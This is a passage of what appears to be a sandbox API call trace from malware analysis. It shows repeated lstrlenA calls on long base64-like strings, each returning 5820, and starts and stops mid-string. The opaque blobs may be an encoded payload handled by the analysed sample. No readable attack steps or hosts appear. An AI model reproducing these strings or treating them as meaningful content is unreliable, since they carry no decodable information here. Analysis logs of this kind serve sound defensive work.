aDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.637] lstrlenA (lpString="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") returned 5820
	[0084.637] lstrlenA (lpString="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") returned 5820
	[0084.637] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2UhkLtrcd8p4JNBmNqsDijqc8ALYZwzFDKsVsrg5DzyIluyLMxG/TiakC/pBHkQ3RiZ5uvTydxtAD8n2yavcm0Kj5Fss82FGu+kBj35uhx4I7jDj20EwFB1Ph4M9k3/dFx0YXyk1S1gQrIGrnhCrb8U2+Y6YuqAXd/TbsXCLPz9ePTE+Lqet+H5JFdFbR/LgKR/IrZ2OCq8vHmPXkVd339xwOXS1LYNQ/jTiEw9ocs8XSfQiiF1lKyts17dW19MUzq2agefI4iBUvirUCPiXVKqgwmGHTfYJg3onDGZ9lzaQ1RMkYofNEg+olX5fvoOPf+IqVeOZsy/rodl5tiysKtgobARxKzixyeJxR+SpMjZcZWB542juT392bZxWTKtGybGXBkYhfLbJYtGZhTwVKm918Lbl4WHTx5nAxeuSpRATmqdBuNX/I8LPd0qeMmlCokyBRhNxYw8V4rBPQxlUDYvFC43eGey+eolIizMw2UpNe1K/hK6yaHl0PbqZLI4FBSppDbwXGbNvKyrby6gDVhdz529Co4/9gjezuRA5hzjEesWKRHwXz6Nkg1rXN2q+I5vEBk5Vm3/LxMMSqfDfZvOTjmXhZO6gf0Yt/OCBChNVb5tWNwHdXVyTigH+9xgQytSKJ9NMmu0XL5dodxhkGNjTJlgdmmHgj8eY9SNf16KdoCq84u6uF6t5NhQpd1YAZnH1000rYOtr8vbD8lJMF1Tb8DgYfpGXCTeuRfTzFIqC+SRLhxsr1q+ntzssL6Otm5WN0Q2QIHKtJEJC0ihG7wD2sMSpC8SJKsIsTfzgzNTgeuzotx89ITb5KiQJaoYYJk0J7rMAVc0StgpbC5gHdEY5cOSwNv8zCH7PYvqSx0sN+J/l/0t0ZpcObGamhpKOtmyTULxenkmvPyOyBi3wJy5daoq9rOiwRjJfeN++QSMU93IKGiylNe6dIBDzbhqm1XUqwrS8rX2KXau+EH9ypf1nh/NIP+FHq3d8O94qIZrpFYBIXLilFkN8QWDVfBEzi0rnA33zlQEjh1sedNVNKxtpDbjr2ij10KXhgm9agdN/WIUiRh2ZAyZC8DzvgQE0kQEk9T24OPDjZ00F1q5SSajlP7brLYPkmXDHGkwpoDcHZEz735QKoa4BSivimzbfyw6iUfoG5qzyvOcYgZoDdy8YdkEniwqV7D7pzWBuYqHJULHsL4RpjUKOEZLFiwevz6uitOs/eZ4ys+yHAdgpV1V4c1c2PnL9DhEGJMCBMkmwkAEZVUhOLVhnalPnwioekw/rf+QLO4I8/dORvBjgkieS1mKk5ekbhhX1CfbD7VTi8zPdRBQvXQQs8A4KGCylGG+2MCtJ4sTOHb/ViG1W5TPEZvi4s+kHQLE6YjPn0APfeIdP86NS1TFugv5h+g7oty4NDRb+WYteWsq4dXTA5gTAfhgrtW4tq/8wXBIj+qUVUbXtuUpeoW/VdBKmDWaWjvQWUaQmjjSp+qavLUb+NTWKAvXjD7xBStoHJ0rN/y1FYNCHxuLhq43rOC6k2QKhyN4A8crOYeXzGZUZ1slwHa63caXpSjrmmASG/V0Km+TBwO7lykEiBGaq7YXXgrwZI2nnt3O/VxoC5i4FJz+vDsKtZw8omqF2nwgBf3xM/l6rpEQUO8AYcOLFQt8r/yW/ikSouhKJ/+4wrD8y+eobJ2aERtJC5jBCsuM0VmoPhzHIeD2F6rZa2dQwgcYn73FlkjWXwB18uyFCTHMkCbvXVycBBM+QcB2RP89DWB96BsyInYy+DF1p